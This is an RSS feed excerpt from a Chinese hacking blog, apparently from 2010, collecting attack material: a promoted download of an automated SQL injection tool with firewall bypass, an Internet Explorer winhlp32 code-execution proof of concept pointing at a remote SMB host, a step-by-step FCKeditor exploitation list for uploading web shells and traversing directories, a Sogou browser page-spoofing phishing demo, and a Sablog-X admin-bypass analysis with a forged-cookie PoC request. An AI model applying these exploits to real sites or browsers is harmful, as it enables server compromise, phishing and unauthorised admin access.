			<content:encoded><![CDATA[<p>来源：<a href="http://www.woyigui.cn/Safe3-SQL-Injector-3-0/" target="_blank">woyigui</a></p>
<p><a href="http://huairen.me/wp-content/uploads/2010020217191753.jpg"><img class="alignnone size-medium wp-image-375" title="2010020217191753" src="http://huairen.me/wp-content/uploads/2010020217191753-300x104.jpg" alt="" width="300" height="104" /></a></p>
<p>大牛的作品应该很不错</p>
<p>以下是功能介绍</p>
<p>1.全面支持HTTP类型</p>
<p>    * 支持HTTP 1.0/1.1；<br />
    * 支持POST/GET /Cookie方法；<br />
    * 支持Basic/NTLM /Digest验证；<br />
    * 支持基于公钥或者私钥的 SSL；</p>
<p>2.全面的数据库类型识别   <a name="entrymore"></a></p>
<p>    * 支持MS Access；<br />
    * 支持MS SQL Server；<br />
    * 支持Mysql Server；<br />
    * 支持Oracle Server；<br />
    * 支持Postgre SQL Server；<br />
    * 支持 Informix SQL Server；<br />
    * 支持Sybase SQL Server；<br />
    * 支持DB2 SQL Server；<br />
    * 支持Sqlite；</p>
<p>3.诸多领先技术</p>
<p>    * 全自动智能网页编码识别，告别数据库乱码；<br />
    * 内置自动智能关键字分析，无需人工干预；<br />
    * 支持 Error/Union/Blind等丰富sql注入方式，确保能获取数据；<br />
    * 丰富的绕过防火墙过滤功能；<br />
    * 内置浏览器可以注入需要登录的网站；<br />
有兴趣的朋友可以试试！</p>
<p>文件下载：<a href="http://huairen.me/wp-content/uploads/Safe3SQLInjector3.0免费版.zip">Safe3SQLInjector3.0免费版</a></p>
]]></content:encoded>
			<wfw:commentRss>http://huairen.me/archives/374.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Internet Explorer的&#8217;winhlp32.exe中&#8217;MsgBox（）&#8217;远程执行代码漏洞</title>
		<link>http://huairen.me/archives/371.html</link>
		<comments>http://huairen.me/archives/371.html#comments</comments>
		<pubDate>Wed, 03 Mar 2010 01:34:42 +0000</pubDate>
		<dc:creator>坏人咖啡</dc:creator>
				<category><![CDATA[工具收集]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://huairen.me/?p=371</guid>
		<description><![CDATA[测试代码：

&#60;html&#62;
&#60;script type="text/vbscript"&#62;
big = "\\184.73.14.110\PUBLIC\test.hlp"

//For i=1 to 2500
//  big = big &#38; "\..\"
//Next

MsgBox "please press F1 to save the world", ,"please save the world",
big, 1
MsgBox "press F1 to close this annoying popup", ,"", big, 1
MsgBox "press F1 to close this annoying popup", ,"", big, 1
&#60;/script&#62;
&#60;/html&#62;

这个代码利用起来比较麻烦需要诱导别人按F1键才可以
HLP文件 msgbox_test_help
貌似国内的XX操作系统里边都没有帮助文件！
]]></description>
			<content:encoded><![CDATA[<p>测试代码：</p>
<pre><code>
&lt;html&gt;
&lt;script type="text/vbscript"&gt;
big = "\\184.73.14.110\PUBLIC\test.hlp"

//For i=1 to 2500
//  big = big &amp; "\..\"
//Next

MsgBox "please press F1 to save the world", ,"please save the world",
big, 1
MsgBox "press F1 to close this annoying popup", ,"", big, 1
MsgBox "press F1 to close this annoying popup", ,"", big, 1
&lt;/script&gt;
&lt;/html&gt;
</code></pre>
<p>这个代码利用起来比较麻烦需要诱导别人按F1键才可以</p>
<p>HLP文件 <a href="http://huairen.me/wp-content/uploads/msgbox_test_help.zip">msgbox_test_help</a></p>
<p>貌似国内的XX操作系统里边都没有帮助文件！</p>
]]></content:encoded>
			<wfw:commentRss>http://huairen.me/archives/371.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fckeditor漏洞利用方法总结</title>
		<link>http://huairen.me/archives/369.html</link>
		<comments>http://huairen.me/archives/369.html#comments</comments>
		<pubDate>Tue, 02 Mar 2010 06:14:04 +0000</pubDate>
		<dc:creator>坏人咖啡</dc:creator>
				<category><![CDATA[学习笔记]]></category>
		<category><![CDATA[工具收集]]></category>
		<category><![CDATA[Fckeditor]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://huairen.me/?p=369</guid>
		<description><![CDATA[查看编辑器版本
FCKeditor/_whatsnew.html
—————————————————————————————————————————————————————————————
2. Version 2.2 版本
Apache+linux 环境下在上传文件后面加个.突破！测试通过。
—————————————————————————————————————————————————————————————
3.Version &#60;=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。
&#60;form id=&#8221;frmUpload&#8221; enctype=&#8221;multipart/form-data&#8221;
action=&#8221;http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media&#8221; method=&#8221;post&#8221;&#62;Upload a new file:&#60;br&#62;
&#60;input type=&#8221;file&#8221; name=&#8221;NewFile&#8221; size=&#8221;50&#8243;&#62;&#60;br&#62;
&#60;input id=&#8221;btnUpload&#8221; type=&#8221;submit&#8221; value=&#8221;Upload&#8221;&#62;
&#60;/form&#62;
—————————————————————————————————————————————————————————————
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
        很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
    4.1：提交shell.php+空格绕过
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
    4.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。
—————————————————————————————————————————————————————————————
5. 突破建立文件夹
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&#38;Type=Image&#38;CurrentFolder=%2Fshell.asp&#38;NewFolderName=z&#38;uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&#38;CurrentFolder=/&#38;Type=Image&#38;NewFolderName=shell.asp
—————————————————————————————————————————————————————————————
6. FCKeditor 中test 文件的上传地址
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
—————————————————————————————————————————————————————————————
7.常用上传地址
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&#38;Type=Image&#38;CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&#38;connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&#38;Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
JSP 版：
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&#38;Connector=connectors/jsp/connector.jsp
注意红色部分修改为FCKeditor 实际使用的脚本语言，蓝色部分可以自定义文
件夹名称也可以利用../..目录遍历，紫色部分为实际网站地址。
—————————————————————————————————————————————————————————————
8.其他上传地址
FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
一般很多站点都已删除_samples 目录，可以试试。
FCKeditor/editor/fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
—————————————————————————————————————————————————————————————
9.列目录漏洞也可助找上传地址
Version 2.4.1 测试通过
修改CurrentFolder 参数使用 ../../来进入不同的目录
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&#38;Type=Image&#38;CurrentFolder=../../..%2F&#38;NewFolderName=shell.asp
根据返回的XML 信息可以查看网站所有的目录。
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&#38;Type=Image&#38;CurrentFolder=%2F
也可以直接浏览盘符：
JSP 版本：
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&#38;Type=&#38;CurrentFolder=%2F
—————————————————————————————————————————————————————————————
10.爆路径漏洞
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&#38;Type=File&#38;CurrentFolder=/shell.asp
—————————————————————————————————————————————————————————————
11. FCKeditor [...]]]></description>
			<content:encoded><![CDATA[<p>查看编辑器版本<br />
FCKeditor/_whatsnew.html<br />
—————————————————————————————————————————————————————————————</p>
<p>2. Version 2.2 版本<br />
Apache+linux 环境下在上传文件后面加个.突破！测试通过。<br />
—————————————————————————————————————————————————————————————</p>
<p>3.Version &lt;=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。<br />
&lt;form id=&#8221;frmUpload&#8221; enctype=&#8221;multipart/form-data&#8221;<br />
action=&#8221;<a href="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media">http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media</a>&#8221; method=&#8221;post&#8221;&gt;Upload a new file:&lt;br&gt;<br />
&lt;input type=&#8221;file&#8221; name=&#8221;NewFile&#8221; size=&#8221;50&#8243;&gt;&lt;br&gt;<br />
&lt;input id=&#8221;btnUpload&#8221; type=&#8221;submit&#8221; value=&#8221;Upload&#8221;&gt;<br />
&lt;/form&gt;<br />
—————————————————————————————————————————————————————————————</p>
<p>4.FCKeditor 文件上传“.”变“_”下划线的绕过方法<br />
        很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。<br />
    4.1：提交shell.php+空格绕过<br />
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。<br />
    4.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。<br />
—————————————————————————————————————————————————————————————</p>
<p>5. 突破建立文件夹<br />
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&amp;Type=Image&amp;CurrentFolder=%2Fshell.asp&amp;NewFolderName=z&amp;uuid=1244789975684<br />
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&amp;CurrentFolder=/&amp;Type=Image&amp;NewFolderName=shell.asp<br />
—————————————————————————————————————————————————————————————</p>
<p>6. FCKeditor 中test 文件的上传地址<br />
FCKeditor/editor/filemanager/browser/default/connectors/test.html<br />
FCKeditor/editor/filemanager/upload/test.html<br />
FCKeditor/editor/filemanager/connectors/test.html<br />
FCKeditor/editor/filemanager/connectors/uploadtest.html<br />
—————————————————————————————————————————————————————————————</p>
<p>7.常用上传地址<br />
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&amp;Type=Image&amp;CurrentFolder=/<br />
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&amp;connector=connectors/asp/connector.asp<br />
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&amp;Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)<br />
JSP 版：<br />
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&amp;Connector=connectors/jsp/connector.jsp<br />
注意红色部分修改为FCKeditor 实际使用的脚本语言，蓝色部分可以自定义文<br />
件夹名称也可以利用../..目录遍历，紫色部分为实际网站地址。<br />
—————————————————————————————————————————————————————————————</p>
<p>8.其他上传地址<br />
FCKeditor/_samples/default.html<br />
FCKeditor/_samples/asp/sample01.asp<br />
FCKeditor/_samples/asp/sample02.asp<br />
FCKeditor/_samples/asp/sample03.asp<br />
FCKeditor/_samples/asp/sample04.asp<br />
一般很多站点都已删除_samples 目录，可以试试。<br />
FCKeditor/editor/fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。<br />
—————————————————————————————————————————————————————————————</p>
<p>9.列目录漏洞也可助找上传地址<br />
Version 2.4.1 测试通过<br />
修改CurrentFolder 参数使用 ../../来进入不同的目录<br />
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&amp;Type=Image&amp;CurrentFolder=../../..%2F&amp;NewFolderName=shell.asp<br />
根据返回的XML 信息可以查看网站所有的目录。<br />
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&amp;Type=Image&amp;CurrentFolder=%2F<br />
也可以直接浏览盘符：<br />
JSP 版本：<br />
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&amp;Type=&amp;CurrentFolder=%2F<br />
—————————————————————————————————————————————————————————————</p>
<p>10.爆路径漏洞<br />
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&amp;Type=File&amp;CurrentFolder=/shell.asp<br />
—————————————————————————————————————————————————————————————</p>
<p>11. FCKeditor 被动限制策略所导致的过滤不严问题<br />
        影响版本: FCKeditor x.x &lt;= FCKeditor v2.4.3<br />
脆弱描述：<br />
FCKeditor v2.4.3 中File 类别默认拒绝上传类型：<br />
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm<br />
Fckeditor 2.0 &lt;= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName，而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!<br />
        而在apache 下，因为&#8221;Apache 文件名解析缺陷漏洞&#8221;也可以利用之，另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码，其限制最为狭隘。<br />
        在上传时遇见可直接上传脚本文件固然很好，但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过，也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!<br />
—————————————————————————————————————————————————————————————</p>
<p>12.最古老的漏洞，Type文件没有限制！<br />
        我接触到的第一个fckeditor漏洞了。版本不详，应该很古老了，因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹，一个新类型，没有任何限制，可以上传任意脚本！<br />
—————————————————————————————————————————————————————————————</p>
<p>        以上都是从网上收集的，方便自己也方便大家！</p>
]]></content:encoded>
			<wfw:commentRss>http://huairen.me/archives/369.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>搜狗浏览器“页面欺骗”漏洞</title>
		<link>http://huairen.me/archives/366.html</link>
		<comments>http://huairen.me/archives/366.html#comments</comments>
		<pubDate>Mon, 01 Mar 2010 01:25:02 +0000</pubDate>
		<dc:creator>坏人咖啡</dc:creator>
				<category><![CDATA[学习笔记]]></category>
		<category><![CDATA[工具收集]]></category>
		<category><![CDATA[搜狗]]></category>
		<category><![CDATA[搜狗浏览器]]></category>
		<category><![CDATA[浏览器]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://huairen.me/?p=366</guid>
		<description><![CDATA[作者：xisigr
测试版本：搜狗浏览器版本：1.4.0.418(正式版)
漏洞成因：在搜狗浏览器中，window.location和document.write两个函数发生条件竞争阻 塞。“window.location”函数使URL中显示到一个地址域，同时页面元素却可以被“document.write”函数所改写。这样导致攻 击者可以篡改页面，来实施钓鱼欺骗攻击。

效果图：

测试代码：

&#60;center&#62;
&#60;h1&#62;SogouExplorer spoofing&#60;/h1&#62;
&#60;/center&#62;
&#60;p&#62;
&#60;a href="javascript:spoof()"&#62;test!&#60;/a&#62;
&#60;p&#62;
&#60;script&#62;
function spoof()
{
window.location = "http://www.google.com";
document.write("&#60;title&#62;Google&#60;/title&#62;");
document.write("&#60;h1&#62;FAKE PAGE&#60;/h1&#62;");
document.write("xisigr[xeye]");
}
&#60;/script&#62;

]]></description>
			<content:encoded><![CDATA[<p>作者：<a href="http://hi.baidu.com/xisigr" target="_blank">xisigr</a></p>
<p><strong>测试版本：搜狗浏览器版本</strong>：1.4.0.418(正式版)</p>
<p><strong>漏洞成因</strong>：在搜狗浏览器中，window.location和document.write两个函数发生条件竞争阻 塞。“window.location”函数使URL中显示到一个地址域，同时页面元素却可以被“document.write”函数所改写。这样导致攻 击者可以篡改页面，来实施钓鱼欺骗攻击。<br />
<strong><br />
效果图</strong>：</p>
<p><a href="http://huairen.me/wp-content/uploads/08eeaf59492bcfea9c82049c.jpg.png"><img class="alignnone size-medium wp-image-367" title="08eeaf59492bcfea9c82049c.jpg" src="http://huairen.me/wp-content/uploads/08eeaf59492bcfea9c82049c.jpg-300x187.png" alt="" width="300" height="187" /></a></p>
<p>测试代码：</p>
<pre><code>
<span style="color: #ff0000;">&lt;center&gt;
&lt;h1&gt;SogouExplorer spoofing&lt;/h1&gt;
&lt;/center&gt;
&lt;p&gt;
&lt;a href="javascript:spoof()"&gt;test!&lt;/a&gt;
&lt;p&gt;
&lt;script&gt;
function spoof()
{
window.location = "http://www.google.com";
document.write("&lt;title&gt;Google&lt;/title&gt;");
document.write("&lt;h1&gt;FAKE PAGE&lt;/h1&gt;");
document.write("xisigr[xeye]");
}
&lt;/script&gt;</span>
</code></pre>
]]></content:encoded>
			<wfw:commentRss>http://huairen.me/archives/366.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sablog-X 2.0 后台管理权限欺骗漏洞</title>
		<link>http://huairen.me/archives/364.html</link>
		<comments>http://huairen.me/archives/364.html#comments</comments>
		<pubDate>Thu, 25 Feb 2010 02:32:44 +0000</pubDate>
		<dc:creator>坏人咖啡</dc:creator>
				<category><![CDATA[学习笔记]]></category>
		<category><![CDATA[sablog]]></category>
		<category><![CDATA[后台]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://huairen.me/?p=364</guid>
		<description><![CDATA[作者：Ryat
前不久80vul公布了sax2.0的一个漏洞,随后4ngel发布了补丁,不过权限验证部分的代码还是存在问题,下面就来简单说说这个漏洞:D
// cp.php

if (!$sax_uid &#124;&#124; !$sax_pw &#124;&#124; !$sax_logincount &#124;&#124; !$sax_hash) {
// 只要这个条件不满足,就可以通过后台的权限验证了
    loginpage();
}
...
if ($sax_group == 1) {
// 如果要获得管理员权限,还必须保证$sax_group的值为1
...
下面来看下这几个变量是怎么来的
// common.inc.php

list($sax_uid, $sax_pw, $sax_logincount) = $_COOKIE['sax_auth'] ? explode("\t", authcode($_COOKIE['sax_auth'], 'DECODE')) : array('', '', '');
// authcode()就是简单的调用base64_decode
$sax_hash = sax_addslashes($_COOKIE['sax_hash']);
// 这些变量来自$_COOKIE,是可以控制的:)
// 不过后面的代码在一定条件下会通过extract($_EVO)来重新注册这些变量

$sax_uid = intval($sax_uid);
$sax_pw = sax_addslashes($sax_pw);
$sax_logincount = intval($sax_logincount);
$sax_group = 4;
// 默认的值为4,而我们需要的值是1
$_EVO = array();
// 这里是fix那个变量覆盖的漏洞:)

$seccode = $sessionexists = 0;
$userfields = [...]]]></description>
			<content:encoded><![CDATA[<p>作者：<a href="http://bbs.wolvez.org" target="_blank">Ryat</a></p>
<p>前不久80vul公布了sax2.0的一个漏洞,随后4ngel发布了补丁,不过权限验证部分的代码还是存在问题,下面就来简单说说这个漏洞:D</p>
<pre><code>// cp.php

if (!$sax_uid || !$sax_pw || !$sax_logincount || !$sax_hash) {
// 只要这个条件不满足,就可以通过后台的权限验证了
    loginpage();
}
...
if ($sax_group == 1) {
// 如果要获得管理员权限,还必须保证$sax_group的值为1
...</code></pre>
<p>下面来看下这几个变量是怎么来的</p>
<pre><code>// common.inc.php

list($sax_uid, $sax_pw, $sax_logincount) = $_COOKIE['sax_auth'] ? explode("\t", authcode($_COOKIE['sax_auth'], 'DECODE')) : array('', '', '');
// authcode()就是简单的调用base64_decode
$sax_hash = sax_addslashes($_COOKIE['sax_hash']);
// 这些变量来自$_COOKIE,是可以控制的:)
// 不过后面的代码在一定条件下会通过extract($_EVO)来重新注册这些变量

$sax_uid = intval($sax_uid);
$sax_pw = sax_addslashes($sax_pw);
$sax_logincount = intval($sax_logincount);
$sax_group = 4;
// 默认的值为4,而我们需要的值是1
$_EVO = array();
// 这里是fix那个变量覆盖的漏洞:)

$seccode = $sessionexists = 0;
$userfields = 'u.userid AS sax_uid, u.username AS sax_user, u.password AS sax_pw, u.groupid AS sax_group, u.logincount AS sax_logincount, u.email as sax_email, u.url as sax_url, u.lastpost, u.lastip, u.lastvisit, u.lastactivity';
// 这里定义的字段包括sax_user、sax_pw、sax_group、sax_logincount,这些都是后台权限验证时要用到的
if ($sax_hash) {
    if ($sax_uid &amp;&amp; $sax_pw) {
// 流程[1]
// 这里会查询sax_group,但如果我们想让查询出的值为1[也就是说查询出管理员的信息],就必须知道管理员的sax_hash、sax_pw、sax_logincount等多个值
        $query = $DB-&gt;query("SELECT s.hash, s.seccode, $userfields
            FROM {$db_prefix}users u
            LEFT JOIN {$db_prefix}sessions s ON (s.uid = u.userid)
            WHERE s.hash='$sax_hash' AND u.userid='$sax_uid' AND CONCAT_WS('.',s.ip1,s.ip2,s.ip3,s.ip4)='$onlineip'
            AND u.password='$sax_pw' AND u.logincount='$sax_logincount' AND s.auth_key='$sax_auth_key'");
    } else {
        $query = $DB-&gt;query("SELECT hash,uid as sessionuid,groupid,seccode,lastactivity FROM {$db_prefix}sessions WHERE hash='$sax_hash' AND CONCAT_WS('.',ip1,ip2,ip3,ip4)='$onlineip' LIMIT 1");
// 流程[2]
// 如果我们知道管理员的sax_hash和onlineip,就可以使下面的$_EVO['sessionuid']的值为管理员的id
    }
    if ($_EVO = $DB-&gt;fetch_array($query)){
        $sessionexists = 1;
        if($_EVO['sessionuid']) {
// 流程[3]
            $query = $DB-&gt;query("SELECT $userfields FROM {$db_prefix}users u WHERE u.userid='".intval($_EVO['sessionuid'])."'");
            $_EVO = array_merge($_EVO, $DB-&gt;fetch_array($query));
// 这里查询的数据会合并到$_EVO,而我们只要能控制$_EVO['sessionuid']的值为1[假设我们要查询的管理员id为1],就可以查询出正确的管理员信息,这样就可以保证sax_group的值为1了
            $sax_uid = $_EVO['userid'];
        }
    } else {
        if($_EVO = $DB-&gt;fetch_one_array("SELECT hash,groupid,seccode,lastactivity FROM {$db_prefix}sessions WHERE hash='$sax_hash' AND CONCAT_WS('.',ip1,ip2,ip3,ip4)='$onlineip'")) {
            dcookies();
            $sessionexists = 1;
        }
    }
}
......
@extract($_EVO);</code></pre>
<p>由上面的代码可以看到,如果我们知道session表中uid为1的数据的sax_hash和onlineip,通过流程[2][3]就可以查询出正确的管理员信息,再通过extract($_EVO)注册变量,就可以通过后台的验证,获得管理员权限了:)<br />
那么我们如何知道正确的sax_hash和onlineip呢？</p>
<pre><code>// global.func.php

function updatesession() {
...
        replacesession(1);
...
}
...
function replacesession($insert = 0) {
...
$ips = explode('.', $onlineip);
...
        $DB-&gt;query("INSERT INTO {$db_prefix}sessions (hash, auth_key, ip1, ip2, ip3, ip4, uid, groupid, lastactivity, seccode, is_robot) VALUES ('$sax_hash', '$sax_auth_key', '$ips[0]', '$ips[1]', '$ips[2]', '$ips[3]', '$sax_uid', '$sax_group', '$timestamp', '$seccode', '".IS_ROBOT."')");
...</code></pre>
<p>replacesession()函数为我们提供帮助,因为$sax_hash、$sax_uid、$onlineip这些变量是可以控制的,所以我们可以向session表中出入一条uid为1的数据:)</p>
<p>首 先我们使$sax_uid为1,$sax_pw为空,这样就会跳过流程[1]执行流程[2],这时我们的sax_hash和onlineip在 session表中并不存在,所以流程[3]不会执行,通过extract($_EVO)注册变量时也不会重新注册$sax_uid、$sax_hash 和$onlineip,这样我们就可以通过updatesession()函数向session表中插入一条uid为1同时sax_hash和 onlineip也是我们知道的数据了<br />
然后我们重新执行上面的过程,因为这时session表里已经有了我们需要的数据了,流程[3]将被执 行,user表中uid为1的管理员数据将被查询出并合并到$_EVO,并通过extract()重新注册变量[$sax_group的值将被重新注册为 1],这样我们就可以通过后台权限验证,并获得管理员权限了:)</p>
<p>PoC:</p>
<pre><code>GET /cp.php  HTTP/1.1;
Host: 127.0.0.1
Connection: Close
Cookie: sax_auth=MQkJ;sax_hash=abcdef;</code></pre>
]]></content:encoded>
			<wfw:commentRss>http://huairen.me/archives/364.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
